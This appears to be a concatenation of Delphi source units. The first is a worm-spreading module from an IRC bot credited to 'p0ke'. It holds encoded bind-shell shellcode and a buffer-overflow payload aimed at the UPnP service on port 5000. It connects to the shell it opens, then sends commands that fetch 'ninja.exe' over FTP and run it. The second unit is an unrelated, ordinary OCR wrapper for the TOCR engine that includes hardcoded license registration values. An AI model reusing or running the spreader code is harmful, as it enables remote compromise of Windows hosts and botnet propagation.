Dlg.Free();
end;
end;
end.
|
(*
Project : unnamed -Bot
Author : p0ke
Homepage : http://unnamed.bot.nu/
Credits : Redlime - Helped with coding.
Tzorcelan - Helped with coding and testing spread.
Positron - Coded netbios-spread orginal. I Modified it.
- http://positronvx.cjb.net
Ago - Ported alot of c++ code from him.
siaze - Inject function to memory
Shouts : Robb, Skäggman, #swerat, #chasenet, #undergroundkonnekt
xcel, Codius, KOrvEn, ZiN
Crews : sweRAT Crew - http://www.swerat.com
chaseNet Crew - http://www.chasenet.org
undergroundkonnekt - http://undergroundkonnekt.net
*)
unit upnp_spreader;
interface
uses
Windows,
Winsock,
untCrypt,
untGlobalDeclare,
untFunctions;
Const
phatty_rshell_upnp =
// {
#$EB#$10#$5A#$4A#$33#$C9#$66#$B9#$66#$01#$80#$34#$0A#$99#$E2#$FA+
#$EB#$05#$E8#$EB#$FF#$FF#$FF+
#$70#$99#$98#$99#$99#$C3#$21#$95#$69#$64#$E6#$12#$99#$12#$E9#$85+
#$34#$12#$D9#$91#$12#$41#$12#$EA#$A5#$9A#$6A#$12#$EF#$E1#$9A#$6A+
#$12#$E7#$B9#$9A#$62#$12#$D7#$8D#$AA#$74#$CF#$CE#$C8#$12#$A6#$9A+
#$62#$12#$6B#$F3#$97#$C0#$6A#$3F#$ED#$91#$C0#$C6#$1A#$5E#$9D#$DC+
#$7B#$70#$C0#$C6#$C7#$12#$54#$12#$DF#$BD#$9A#$5A#$48#$78#$9A#$58+
#$AA#$50#$FF#$12#$91#$12#$DF#$85#$9A#$5A#$58#$78#$9B#$9A#$58#$12+
#$99#$9A#$5A#$12#$63#$12#$6E#$1A#$5F#$97#$12#$49#$F3#$9A#$C0#$71+
#$E5#$99#$99#$99#$1A#$5F#$94#$CB#$CF#$66#$CE#$65#$C3#$12#$41#$F3+
#$9D#$C0#$71#$F0#$99#$99#$99#$C9#$C9#$C9#$C9#$F3#$98#$F3#$9B#$66+
#$CE#$69#$12#$41#$5E#$9E#$9B#$99#$9E#$24#$AA#$59#$10#$DE#$9D#$F3+
#$89#$CE#$CA#$66#$CE#$6D#$F3#$98#$CA#$66#$CE#$61#$C9#$C9#$CA#$66+
#$CE#$65#$1A#$75#$DD#$12#$6D#$AA#$42#$F3#$89#$C0#$10#$85#$17#$7B+
#$62#$10#$DF#$A1#$10#$DF#$A5#$10#$DF#$D9#$5E#$DF#$B5#$98#$98#$99+
#$99#$14#$DE#$89#$C9#$CF#$CA#$CA#$CA#$F3#$98#$CA#$CA#$5E#$DE#$A5+
#$FA#$F4#$FD#$99#$14#$DE#$A5#$C9#$CA#$66#$CE#$7D#$C9#$66#$CE#$71+
#$AA#$59#$35#$1C#$59#$EC#$60#$C8#$CB#$CF#$CA#$66#$4B#$C3#$C0#$32+
#$7B#$77#$AA#$59#$5A#$71#$62#$67#$66#$66#$DE#$FC#$ED#$C9#$EB#$F6+
#$FA#$D8#$FD#$FD#$EB#$FC#$EA#$EA#$99#$DA#$EB#$FC#$F8#$ED#$FC#$C9+
#$EB#$F6#$FA#$FC#$EA#$EA#$D8#$99#$DC#$E1#$F0#$ED#$C9#$EB#$F6#$FA+
#$FC#$EA#$EA#$99#$D5#$F6#$F8#$FD#$D5#$F0#$FB#$EB#$F8#$EB#$E0#$D8+
#$99#$EE#$EA#$AB#$C6#$AA#$AB#$99#$CE#$CA#$D8#$CA#$F6#$FA#$F2#$FC+
#$ED#$D8#$99#$FB#$F0#$F7#$FD#$99#$F5#$F0#$EA#$ED#$FC#$F7#$99#$F8+
#$FA#$FA#$FC#$E9#$ED#$99;
{
#$EB#$10#$5A#$4A#$33#$C9#$66#$B9#$7D#$01#$80#$34#$0A#$99#$E2#$FA+
#$EB#$05#$E8#$EB#$FF#$FF#$FF+
#$70#$95#$98#$99#$99#$C3#$FD#$38#$A9#$99#$99#$99#$12#$D9#$95#$12+
#$E9#$85#$34#$12#$D9#$91#$12#$41#$12#$EA#$A5#$12#$ED#$87#$E1#$9A+
#$6A#$12#$E7#$B9#$9A#$62#$12#$D7#$8D#$AA#$74#$CF#$CE#$C8#$12#$A6+
#$9A#$62#$12#$6B#$F3#$97#$C0#$6A#$3F#$ED#$91#$C0#$C6#$1A#$5E#$9D+
#$DC#$7B#$70#$C0#$C6#$C7#$12#$54#$12#$DF#$BD#$9A#$5A#$48#$78#$9A+
#$58#$AA#$50#$FF#$12#$91#$12#$DF#$85#$9A#$5A#$58#$78#$9B#$9A#$58+
#$12#$99#$9A#$5A#$12#$63#$12#$6E#$1A#$5F#$97#$12#$49#$F3#$9A#$C0+
#$71#$1E#$99#$99#$99#$1A#$5F#$94#$CB#$CF#$66#$CE#$65#$C3#$12#$41+
#$F3#$9C#$C0#$71#$ED#$99#$99#$99#$C9#$C9#$C9#$C9#$F3#$98#$F3#$9B+
#$66#$CE#$75#$12#$41#$5E#$9E#$9B#$99#$9D#$4B#$AA#$59#$10#$DE#$9D+
#$F3#$89#$CE#$CA#$66#$CE#$69#$F3#$98#$CA#$66#$CE#$6D#$C9#$C9#$CA+
#$66#$CE#$61#$12#$49#$1A#$75#$DD#$12#$6D#$AA#$59#$F3#$89#$C0#$10+
#$9D#$17#$7B#$62#$10#$CF#$A1#$10#$CF#$A5#$10#$CF#$D9#$FF#$5E#$DF+
#$B5#$98#$98#$14#$DE#$89#$C9#$CF#$AA#$50#$C8#$C8#$C8#$F3#$98#$C8+
#$C8#$5E#$DE#$A5#$FA#$F4#$FD#$99#$14#$DE#$A5#$C9#$C8#$66#$CE#$79+
#$CB#$66#$CE#$65#$CA#$66#$CE#$65#$C9#$66#$CE#$7D#$AA#$59#$35#$1C+
#$59#$EC#$60#$C8#$CB#$CF#$CA#$66#$4B#$C3#$C0#$32#$7B#$77#$AA#$59+
#$5A#$71#$76#$67#$66#$66#$DE#$FC#$ED#$C9#$EB#$F6#$FA#$D8#$FD#$FD+
#$EB#$FC#$EA#$EA#$99#$DA#$EB#$FC#$F8#$ED#$FC#$C9#$EB#$F6#$FA#$FC+
#$EA#$EA#$D8#$99#$DC#$E1#$F0#$ED#$CD#$F1#$EB#$FC#$F8#$FD#$99#$D5+
#$F6#$F8#$FD#$D5#$F0#$FB#$EB#$F8#$EB#$E0#$D8#$99#$EE#$EA#$AB#$C6+
#$AA#$AB#$99#$CE#$CA#$D8#$CA#$F6#$FA#$F2#$FC#$ED#$D8#$99#$FB#$F0+
#$F7#$FD#$99#$F5#$F0#$EA#$ED#$FC#$F7#$99#$F8#$FA#$FA#$FC#$E9#$ED+
#$99#$FA#$F5#$F6#$EA#$FC#$EA#$F6#$FA#$F2#$FC#$ED#$99;
^^ 309
}
BIND_PORT = 1981; //309;
UPNP_PORT = 5000;
Function DoUPNP(szHost: String; _Sock: TSocket; var lerror:string): Boolean;
implementation
uses
untFTPD;
Function DoUPNP(szHost: String; _Sock: TSocket; var lerror:string): Boolean;
Var
szRequest :String; //[2048];
szJmpCode :Array[0..2048] Of Char; //String; //[281];
szExeCode :String; //[840];
szRecvBuf :array[0..5096] of char; //[5096];
mkdir_buff :String; //[400]
szInsert :pChar;
I :Integer;
Sock :TSocket;
OutSock :TSocket;
Addr :TSockAddrIn;
WSA :TWSAData;
derr :integer;
Begin
Result := FALSE;
Try
szInsert := #0;
// FillChar(szRequest, 2048, #0);
FillChar(szJmpCode, 281 , #0);
// FillChar(szExeCode, 840 , szInsert);
SetString(szRequest, szInsert, 2048);
// SetString(szJmpCode, szInsert, 281);
// SetString(szExeCode, szInsert, 840);
// SetString(szRecvBuf, szInsert, 5096);
SetString(mkdir_buff, szInsert, 400);
For I := 1 To 268 Do
szJmpCode[I] := #$90;
szJmpCode[268] := #$4D; szJmpCode[269] := #$3F;
szJmpCode[270] := #$E3; szJmpCode[271] := #$77;
szJmpCode[272] := #$90; szJmpCode[273] := #$90;
szJmpCode[274] := #$90; szJmpCode[275] := #$90;
//jmp [ebx+0x64], jump to execute shellcode
szJmpCode[276] := #$FF; szJmpCode[277] := #$63;
szJmpCode[278] := #$64; szJmpCode[279] := #$90;
szJmpCode[280] := #$00;
SetLength(szExeCode, 32);
For I := 1 To 32 Do
szExeCode[I]:= #$90;
szExeCode[32] := #$00;
// Insert(phatty_rshell_upnp, szExeCode, Length(szExeCode));
szExeCode := szExeCode + phatty_rshell_upnp;
szRequest := szJmpCode + szExecode + #13#10#13#10;
// Move(szExeCode[1], szRequest[0], Length(szExeCode));
// szRequest := szJmpCode + szExeCode + #13#10#13#10;
WSAStartUP($101, WSA);
lerror := 'failed to connect';
if _sock <= 0 then
begin
Sock := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := hTons(UPNP_PORT);
Addr.sin_addr.S_addr := inet_addr(pChar(szHost));
If Connect(Sock, Addr, SizeOf(Addr)) <> 0 Then
Exit;
end else
Sock := _Sock;
// repeat
derr := send(sock, szrequest[1], length(szrequest), 0);
// delete(szrequest, 1, derr);
// until (szRequest = '') or (derr <= 0);
Sleep(3000);
OutSock := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := hTons(BIND_PORT);
Addr.sin_addr.S_addr := inet_addr(pChar(szHost));
If Connect(OutSock, Addr, SizeOf(Addr)) <> 0 Then
begin
lerror := 'failed to open shell';
Exit;
end;
mkdir_buff := 'echo open ' + ftp_mainip + ' ' + IntToStr(ftp_port) + ' > bla.txt'#10+
'echo user ' + ftp_user + ' ' + ftp_pass + ' >> bla.txt'#10+
'echo binary >> bla.txt'#10+
'echo get ninja.exe >> bla.txt'#10+
'echo quit >> bla.txt'#10+
'ftp.exe -n -s:bla.txt'#10+
'ninja.exe'#10;
If Recv(outSock, szRecvBuf[1], Length(szRecvBuf), 0) < 1 Then
Exit;
Sleep(500);
If Send(outSock, mkdir_buff[1], Length(mkdir_buff), 0) < 1 Then
Exit;
Result := True;
CloseSocket(outSock);
//CloseSocket(Sock);
Except
Exit;
End;
// WSACleanUP();
End;
end.
|
unit uI2XOCR_TOCR;
interface
uses
Windows,
Classes,
uStrUtil,
Graphics,
SysUtils,
GR32,
GR32_Image,
uI2XOCR,
MapStream,
uDWImage,
uI2XConstants,
Typinfo,
uTOCRdll,
uCmdLine,
ExtCtrls;
const
UNIT_NAME = 'ui2xOCR_TOCR';
X_DPI_DEFAULT = 300;
Y_DPI_DEFAULT = 300;
type
BMPINFO = record
hBmp : HBITMAP; // As Long ' handle to bitmap
Width : Integer; // As Long ' pixel width of bitmap
Height : Integer; // As Long ' pixel height of bitmap
XPelsPerMeter : Integer; // As Long ' X pixels per metre
YPelsPerMeter : Integer; // As Long ' Y pixels per metre
End;
TMonoBitmapInfo = packed record
bmiHeader: TBitmapInfoHeader;
bmiColors: array[0..1] of TRGBQuad;
end;
TI2XOCR_TOCR = class(TI2XOCR)
private
_DC : HDC;
FInvert : boolean;
function TransymOCRCall( const MMHandle : Cardinal;
var OCRRes: TTOCRResults;
charsAllowed: string = '';
rejectFunkyLinesChars : boolean = true;
invert : boolean = false;
autoOrient : boolean = true;
fileNameOverride : string = '' ): integer; overload;
function TransymOCRCall( const DWImage : TDWImage;
OCRData : TI2XOCRResult;
charsAllowed : string = '';
rejectFunkyLinesChars : boolean = true;
invert : boolean = false;
autoOrient : boolean = true ) : integer; overload;
function TransymOCRCall( const DWImage : TDWImage;
OCRData : TI2XOCRResult;
SliceRect : TRect;
charsAllowed : string = '';
rejectFunkyLinesChars : boolean = true;
invert : boolean = false;
autoOrient : boolean = true
) : integer; overload;
function SaveMonoBitmapToMMFile(const DWImage: TDWImage; var MMFileHandle: Cardinal): boolean; overload;
function SaveMonoBitmapToMMFile(BI : TBitMap; Var hFile : Longint):Boolean; overload;
function SaveMonoBitmapToMMFile(BI : BMPINFO;
var MMFileHandle : Cardinal ) : boolean; overload;
function SaveMonoBitmapToMMFile(const DWImage : TDWImage;
SliceRect : TRect; var MMFileHandle : Cardinal ) : boolean; overload;
function GetSelectionAreaBitmap(const DWImage : TDWImage;
SelectionRect: TRect; var SelectBI: BMPINFO): Boolean;
procedure OCRResToI2XResults(OCRRes: TTOCRResults; OCRData: TI2XOCRResult);
function AllowedChars(const OCRData: TI2XOCRResult): string;
public
property InvertImage : boolean read FInvert write FInvert;
function SetOptions(const OptionsString: string): boolean;
function OCRImage( const ImageMMID, OCRDataMMID : string ) : boolean; virtual;
constructor Create( const GUID, ParmFileName : string ); override;
destructor Destroy; override;
end;
implementation
{ TI2XOCR_TOCR }
constructor TI2XOCR_TOCR.Create(const GUID, ParmFileName: string);
begin
inherited;
_DC := 0;
FInvert := false;
end;
destructor TI2XOCR_TOCR.Destroy;
begin
if (_DC <> 0) then DeleteDC( _DC );
inherited;
end;
function TI2XOCR_TOCR.SetOptions(const OptionsString : string): boolean;
var
sOptionsString : string;
begin
try
sOptionsString := lowerCase( OptionsString );
self.InvertImage := ( Pos( 'invert', sOptionsString ) > 0 );
finally
end;
end;
function TI2XOCR_TOCR.OCRImage(const ImageMMID, OCRDataMMID : string): boolean;
var
bResult, bRefreshMMID : boolean;
i, nCharsReturned : integer;
sMapName, sOCRDataMMID : string;
OCRResultDefault : TI2XOCRResult;
FImageSlice : TDWImage;
Begin
try
if ( Integer( self.DebugLevel ) >= 1 ) then self.DebugWrite('Calling OCR from image map id "' + ImageMMID + '" and OCRData Map id of "' + OCRDataMMID + '"');
bResult := false;
bRefreshMMID := false;
sMapName := ImageMMID;
FMemoryMapManager.Flush();
//bResult := self.FImage.LoadFromMemoryMap( sMapName );
FMemoryMapManager.DebugMessageText := 'TI2XOCR_TOCR.OCRImage(sMapName=' + sMapName + ') - Initial call ';
bResult := FMemoryMapManager.Read( sMapName, FImage );
//bResult := self.FImage.LoadFromMemoryMap( sMapName );
if ( Integer( self.DebugLevel ) >= 2 ) then self.FImage.SaveToFile(self.DebugPath + 'OCRIMG_BEFORE.BMP');
if ( Integer( self.DebugLevel ) >= 2 ) then self.DebugWrite( 'Before... XRes=' + IntToStr(FImage.DPIX) + ' YRes=' + IntToStr(FImage.DPIY) );
if ( self.FImage.ColorCount > 2 ) then begin
self.FImage.ConvertToBW();
bRefreshMMID := true;
end;
if ( bRefreshMMID ) then begin
if ( Integer( self.DebugLevel ) >= 2 ) then self.FImage.SaveToFile(self.DebugPath + 'OCRIMG_BEFORE_REFRESH.BMP');
FMemoryMapManager.DebugMessageText := 'TI2XOCR_TOCR.OCRImage(sMapName=' + sMapName + ') - Debug Write';
FMemoryMapManager.Write( sMapName, FImage );
//self.FImage.SaveToMemoryMap( sMapName );
if ( Integer( self.DebugLevel ) >= 2 ) then self.FImage.SaveToFile(self.DebugPath + 'OCRIMG_AFTER_REFRESH.BMP');
end;
if ( Integer( self.DebugLevel ) >= 2 ) then self.DebugWrite( 'After... XRes=' + IntToStr(FImage.DPIX) + ' YRes=' + IntToStr(FImage.DPIY) );
FOCRData.ImageID := sMapName;
if ( Integer( self.DebugLevel ) >= 2 ) then self.FImage.SaveToFile(self.DebugPath + 'OCRIMG_BEFOREOCR.BMP');
if ( not bResult ) then
raise Exception.Create('Cannot OCR Image because Memory could not be loaded');
//bResult := FOCRData.LoadFromMemoryMap( OCRDataMMID );
FMemoryMapManager.DebugMessageText := 'TI2XOCR_TOCR.OCRImage(OCRDataMMID=' + OCRDataMMID + ') - OCR Data Read from main app ';
bResult := FMemoryMapManager.Read( OCRDataMMID, FOCRData );
if ( Integer( self.DebugLevel ) >= 2 ) then FOCRData.SaveToFile(self.DebugPath + 'OCRDATA_AFTEROCR.XML');
if ( not bResult ) then
raise Exception.Create('Cannot OCR Image because the Image List could not be loaded from memory map "' + ImageMMID + '" or it was not in the expected XML format');
//bResult := FOCRData.LoadXML( ImageList );
if ( FOCRData.Count = 0 ) then begin
OCRResultDefault := TI2XOCRResult.Create;
OCRResultDefault.ID := 'default';
FOCRData.Add( OCRResultDefault );
end;
//Loop through all the images and slice them, then OCR them
for i := 0 to FOCRData.Count - 1 do begin
with FOCRData.Items[i] do begin
nCharsReturned := 0;
//if the slice attributes are zero, then we can just pass FImage
if (( X = 0 ) and ( Y = 0 ) and ( Width = 0 ) and ( Height = 0 )) then begin
nCharsReturned := TransymOCRCall( FImage, FOCRData.Items[i], '', true, self.InvertImage );
if ( nCharsReturned < 0 ) then
raise Exception.Create('OCR Call failed.');
if ( Integer( self.DebugLevel ) >= 2 ) then FOCRData.SaveToFile( self.DebugPath + 'tocroutput.xml' );
end else begin
try
if ( Integer( self.DebugLevel ) >= 2 ) then FOCRData.SaveToFile( self.DebugPath + 'tocroutputs_BEFORE.xml' );
nCharsReturned := TransymOCRCall( FImage, FOCRData.Items[i], AsRect,
AllowedChars( FOCRData.Items[i] ), true, self.InvertImage );
if ( nCharsReturned < 0 ) then
raise Exception.Create('OCR Call failed.');
if ( Integer( self.DebugLevel ) >= 2 ) then FOCRData.SaveToFile( self.DebugPath + 'tocroutputs.xml' );
finally
FreeAndNil( FImageSlice );
end;
end;
end;
end;
sOCRDataMMID := OCRDataMMID;
//bResult := FOCRData.SaveToMemoryMap( sOCRDataMMID );
FMemoryMapManager.DebugMessageText := 'TI2XOCR_TOCR.OCRImage(sOCRDataMMID=' + sOCRDataMMID + ') - OCR Data Write for main app';
bResult := FMemoryMapManager.Write( sOCRDataMMID, FOCRData );
if ( not bResult ) then
raise Exception.Create('OCR Image failed because the result XML could not be saved to memory map "' + ImageMMID + '"');
Result := bResult;
if ( Integer( self.DebugLevel ) >= 1 ) then self.DebugWrite(' Result=' + BoolToStr(Result));
except
on E : Exception do
begin
self.ErrorUpdate( E.Message, ERROR_I2X_OCR_FAILED );
Result := false;
end;
end;
End;
procedure TI2XOCR_TOCR.OCRResToI2XResults(OCRRes : TTOCRResults;
OCRData : TI2XOCRResult);
Var
FOCRResItem : TTOCRResultsItem;
OCRDataItem : TI2XOCRItem;
i : integer;
Begin
for i := 0 to OCRRes.Header.NumItems - 1 do begin
FOCRResItem := OCRRes.Items[ i ];
if (( FOCRResItem.XDim > 0 ) and ( FOCRResItem.YDim > 0 )) then begin
OCRDataItem := TI2XOCRItem.Create;
//OCRData.X[Y] is added to the result because it will offset the image slice
// in relation to the entire image.
OCRDataItem.X := OCRData.X + FOCRResItem.XPos;
OCRDataItem.Y := OCRData.Y + FOCRResItem.YPos;
OCRDataItem.Width := FOCRResItem.XDim;
OCRDataItem.Height := FOCRResItem.YDim;
OCRDataItem.Accuracy := FOCRResItem.Confidence;
OCRDataItem.Data := Chr( FOCRResItem.OCRCha );
OCRData.Add( OCRDataItem );
end;
end;
OCRData.Accuracy := OCRRes.Header.MeanConfidence;
End;
function TI2XOCR_TOCR.TransymOCRCall(const DWImage : TDWImage;
OCRData : TI2XOCRResult;
charsAllowed : string;
rejectFunkyLinesChars : boolean;
invert : boolean ;
autoOrient : boolean ) : integer;
var
MMHandle : Cardinal;
OCRRes : TTOCRResults;
Begin
try
Result := 0;
OCRData.Clear;
MMHandle := 0;
if ( invert ) then begin
DWImage.Invert;
end;
DWImage.SaveToFile(self.DebugPath + '_TEST.BMP');
self.SaveMonoBitmapToMMFile( DWImage, MMHandle );
Result := TransymOCRCall( MMHandle, OCRRes, charsAllowed,
rejectFunkyLinesChars, invert, autoOrient );
if ( Result > 0 ) then begin
OCRResToI2XResults( OCRRes, OCRData );
if ( OCRData.Width = 0 ) then OCRData.Width := DWImage.Width;
if ( OCRData.Height = 0 ) then OCRData.Height := DWImage.Height;
end;
finally
end;
End;
function TI2XOCR_TOCR.AllowedChars( const OCRData: TI2XOCRResult ) : string ;
Begin
if ( OCRData.DataType = odtNumeric ) then
Result := DT_n_CHARS_ALLOWED
else if ( OCRData.DataType = odtDateTime ) then
Result := DT_dt_CHARS_ALLOWED
else
Result := '';
End;
function TI2XOCR_TOCR.TransymOCRCall(const DWImage: TDWImage;
OCRData: TI2XOCRResult; SliceRect: TRect; charsAllowed: string;
rejectFunkyLinesChars, invert, autoOrient: boolean): integer;
var
MMHandle : Cardinal;
OCRRes : TTOCRResults;
sTempFile : string;
dw : TDWImage;
Begin
try
Result := 0;
OCRData.Clear;
MMHandle := 0;
dw := TDWImage.Create();
DWImage.CopySlice( SliceRect, dw );
if ( invert ) then begin
dw.Invert;
end;
if ( dw.DPIX = 0 ) then
dw.setDPI( 300 );
sTempFile := self.DebugPath + '_SLICE_' + IntToStr(dw.Handle) + '.BMP';
dw.SaveToFile( sTempFile );
Result := TransymOCRCall( MMHandle, OCRRes, charsAllowed,
rejectFunkyLinesChars, invert, autoOrient, sTempFile );
//self.SaveMonoBitmapToMMFile( dw, MMHandle );
//Result := TransymOCRCall( MMHandle, OCRRes, charsAllowed,
// rejectFunkyLinesChars, invert, autoOrient,
// 'C:\Users\Administrator\AppData\Local\Temp\i2x\_test2CUT.BMP' );
if ( Result > 0 ) then begin
OCRResToI2XResults( OCRRes, OCRData );
if ( OCRData.Width = 0 ) then OCRData.Width := DWImage.Width;
if ( OCRData.Height = 0 ) then OCRData.Height := DWImage.Height;
DeleteFile( sTempFile );
end;
finally
FreeAndNil( dw );
end;
End;
function TI2XOCR_TOCR.TransymOCRCall(const MMHandle : Cardinal;
var OCRRes : TTOCRResults;
charsAllowed : string;
rejectFunkyLinesChars : boolean;
invert : boolean ;
autoOrient : boolean;
fileNameOverride : string ) : integer;
Var
OCRJobNr, FuncResult: LongInt;
OCRJobInfo: TTOCRJobInfo;
OCRJobStatus, OCRJobResultsInf, nWaitInt: Integer;
chrIdx : byte;
OCRResultItems : Array Of TTOCRResultsItem;
S: String;
RegNo: Array[0..1] Of Cardinal;
arrFileName: Array[0..255] Of Char;
ConfidenceAvg, ConfidenceChars: Single;
OCRResults : PChar;
Begin
nWaitInt := 0;
result := 0;
RegNo[0] := $FC4FB5EB;
Initialize( OCRResults );
Initialize( OCRResultItems );
RegNo[1] := $728B7494;
Try
Try
OCRJobResultsInf:=0;
OCRJobStatus:=TOCRJobStatus_Busy;
FillChar(OCRJobInfo, SizeOf(TTOCRJobInfo), 0);
FillChar(OCRRes.Header, SizeOf(TTOCRResultsHeader), 0);
FuncResult:=TOCRSetErrorMode(TOCRDefErrorMode, TOCRErrorMode_Silent);
If FuncResult <> TOCR_OK Then
raise Exception.Create( 'Error occured while setting error mode: '+IntToStr(FuncResult) )
Else
Begin
// Initialize OCR engine
FuncResult:=TOCRInitialise(OCRJobNr, RegNo[0]);
If FuncResult<>TOCR_Ok Then
raise Exception.Create('Error occured while initializing OCR engine: '+IntToStr(FuncResult) )
Else
Try
if (
( Length(fileNameOverride) > 0 ) and
( FileExists(fileNameOverride) )
) then begin
FillChar(arrFileName, SizeOf(arrFileName), 0);
StrPCopy(arrFileName, fileNameOverride+#0);
If ExtractFileExt(UpperCase(fileNameOverride))='.TIF' Then
OCRJobInfo.JobType := TOCRJobType_TiffFile
Else If ExtractFileExt(UpperCase(fileNameOverride))='.BMP' Then
OCRJobInfo.JobType :=TOCRJobType_DibFile;
OCRJobInfo.InputFile :=arrFileName;
OCRJobInfo.PageNo :=0;
end else begin
// Initialize job structure
OCRJobInfo.JobType := TOCRJOBTYPE_MMFILEHANDLE;
OCRJobInfo.InputFile := '';
OCRJobInfo.PageNo := MMHandle;
end;
if ( Length( charsAllowed ) > 0 ) then begin
for chrIdx := 0 to 255 do begin
OCRJobInfo.ProcessOptions.DisableCharacter[chrIdx] := true;
end;
for chrIdx := 1 to Length( charsAllowed ) do begin
OCRJobInfo.ProcessOptions.DisableCharacter[ Ord( charsAllowed[chrIdx] ) ] := false;
end;
end;
if ( autoOrient ) then
OCRJobInfo.ProcessOptions.Orientation:= TOCRJOBORIENT_AUTO
else
OCRJobInfo.ProcessOptions.Orientation:=TOCRJobOrient_Off;
OCRJobInfo.ProcessOptions.StructId := 2;
//OCRJobInfo.ProcessOptions.StructId := 2;
OCRJobInfo.ProcessOptions.InvertWholePage := invert;
OCRJobInfo.ProcessOptions.DeskewOff := false;
OCRJobInfo.ProcessOptions.NoiseRemoveOff := false;
OCRJobInfo.ProcessOptions.LineRemoveOff := false;
OCRJobInfo.ProcessOptions.DeshadeOff := false;
OCRJobInfo.ProcessOptions.InvertOff := false;
OCRJobInfo.ProcessOptions.SectioningOn := false;
OCRJobInfo.ProcessOptions.MergeBreakOff := false;
OCRJobInfo.ProcessOptions.LineRejectOff := not rejectFunkyLinesChars;
OCRJobInfo.ProcessOptions.CharacterRejectOff:= not rejectFunkyLinesChars;
OCRJobInfo.ProcessOptions.LexOff := false;
// Start job execution
FuncResult:=TOCRDoJob(OCRJobNr, OCRJobInfo);
If FuncResult<>TOCR_Ok Then
raise Exception.Create('Error occured while starting OCR job: '+IntToStr(FuncResult))
Else
Begin
nWaitInt := 0;
// Wait for the job to finish
while ((nWaitInt < 5) AND (OCRJobStatus <> TOCRJobStatus_Done)) do begin
FuncResult:=TOCRWaitForJob(OCRJobNr, OCRJobStatus);
if ( OCRJobStatus = -1 ) then begin //Try to redo job if we get -1 error code
FuncResult:=TOCRShutdown(OCRJobNr); // This will shut down the applied job
FuncResult:=TOCRInitialise(OCRJobNr, RegNo[0]);
FuncResult:=TOCRDoJob(OCRJobNr, OCRJobInfo);
FuncResult:=TOCRWaitForJob(OCRJobNr, OCRJobStatus);
end;
Inc(nWaitInt);
end;
If FuncResult<>TOCR_Ok Then
raise Exception.Create('Error occured while waiting for job to be done: '+IntToStr(FuncResult)+' JobStatus: '+IntToStr(OCRJobStatus))
Else
If (OCRJobStatus <> TOCRJobStatus_Done) Then
result := -1
//raise Exception.Create('Waiting for job OK, but the status was wrong : '+IntToStr(OCRJobStatus))
Else Begin
// Get the required size of the job
FuncResult:=TOCRGetJobResults(OCRJobNr, OCRJobResultsInf, Nil);
If FuncResult<>TOCR_Ok Then
raise Exception.Create('Error occured while retrieving the job''s result size: '+IntToStr(FuncResult))
Else
If OCRJobResultsInf=TOCRGetResults_NoResults Then
raise Exception.Create('No result available in the specified job: '+IntToStr(OCRJobNr))
Else
// Make sure that at least the header is filled !
If OCRJobResultsInf<SizeOf(TTOCRResultsHeader) Then
raise Exception.Create('The size of the job result was less than expected: '+IntToStr(OCRJobResultsInf)+'('+IntToStr(SizeOf(TTOCRResultsHeader))+')')
Else Begin
Try
try
GetMem(OCRResults, OCRJobResultsInf+1);
Except
//WriteLog(' Warning! pOCRResults pointed to an inaccessable value. It could be that no data was returned from OCR. Ignoring this result.');
OCRResults := nil;
end;
if ( OCRResults <> nil ) then begin
FuncResult:=TOCRGetJobResults(OCRJobNr, OCRJobResultsInf, OCRResults);
If FuncResult<>TOCR_Ok Then
raise Exception.Create('Error occured while retrieving the job result: '+IntToStr(FuncResult))
Else
If OCRJobResultsInf=TOCRGetResults_NoResults Then
raise Exception.Create('No result available in the specified job: '+IntToStr(OCRJobNr))
Else
If (OCRResults=Nil) Or (Integer(OCRResults)=0) Then
raise Exception.Create('Error occured while retrieving the job, the pointer was NIL :-( ')
Else
Begin
Move(OCRResults[0], OCRRes.Header, SizeOf(TTOCRResultsHeader));
SetLength(OCRRes.Items, OCRRes.Header.NumItems);
if ( OCRRes.Header.NumItems = 0 ) then begin
//WriteLog(' Warning! OCRRes.Header.NumItems = 0. Ignoring this OCR result.');
result := 0;
end else begin
Move(OCRResults[SizeOf(TTOCRResultsHeader)], OCRRes.Items[0], SizeOf(TTOCRResultsItem)*OCRRes.Header.NumItems);
result := OCRRes.Header.NumItems;
end;
S:='';
end;
end; //if ( OCRResults <> nil ) then begin
Finally
FreeMem(OCRResults);
End;
End;
End;
End;
Finally
// Shut down the OCR engine
FuncResult:=TOCRShutdown(OCRJobNr); // This will shut down the applied job
If FuncResult<>TOCR_Ok Then
raise Exception.Create('Error occured while shutting down OCR engine: '+IntToStr(FuncResult))
End;
End;
Except
raise;
End;
Except
raise;
End;
end;
function TI2XOCR_TOCR.GetSelectionAreaBitmap(const DWImage : TDWImage;
SelectionRect : TRect; var SelectBI : BMPINFO ):Boolean;
var
hbmpTarget, hbmpSource, DWImageHandle, Width, Height : Cardinal;
hDCWork : HDC;
DWBMPInfo : BMPINFO;
Source, Target : TImage;
dw : TDWImage;
Begin
try
try
Result := false;
initialize( SelectBI );
dw := TDWImage.Create();
DWImage.CopySlice( SelectionRect, dw );
dw.setDPI( DWImage.DPIX );
//DWImage.SaveToFile( 'C:\Users\Administrator\AppData\Local\Temp\i2x\_test2SRC.BMP' );
SelectBI.Width := dw.Width;
SelectBI.Height := dw.Height;
SelectBI.XPelsPerMeter := dw.XPelsPerMeter;
SelectBI.YPelsPerMeter := dw.YPelsPerMeter;
//dw.SaveToFile( 'C:\Users\Administrator\AppData\Local\Temp\i2x\_test2CUT.BMP' );
SelectBI.hBmp := dw.ReleaseHandle;
except
raise;
end;
finally
//FreeAndNil( Source );
//FreeAndNil( Target );
FreeAndNil( dw );
end;
End;
function TI2XOCR_TOCR.SaveMonoBitmapToMMFile(BI : Tbitmap; Var hFile : LongInt):Boolean;
type
RGB = array [0..1] of tagRGBQUAD;
PRGB = ^RGB;
ByteArray = array [0..maxint-1] of byte;
parraybyte = ^ByteArray;
Var LineSize:Longint;
lpMap : pointer; // pointer to mapped file
lp : pointer; // pointer
hDCMem : LongInt; // handle to a memory device context
hbmpOld : LongInt; // handle to a bitmap
bmi : PBitmapInfo;
Bit : BitmapInfo;
bufer : parraybyte;
Colors : Prgb;
NumBytes : LongInt;
ert : TPixelFormat;
CopyBit : BitmapInfo;
cClrBits : Cardinal;
Resultat : LongInt;
GetDIBResult : Integer;
begin
//CopyBit:BitmapInfo;
result := false;
hFile := 0;
getmem(bufer,SizeOf(BitmapInfo)+2*SizeOf(integer));
bmi := PBitmapInfo(pointer(bufer));
Colors := PRGB(@Bufer[SizeOf(BitmapInfo)]);
With bmi.bmiHeader do
begin
biSize := SizeOf(bmi.bmiHeader);
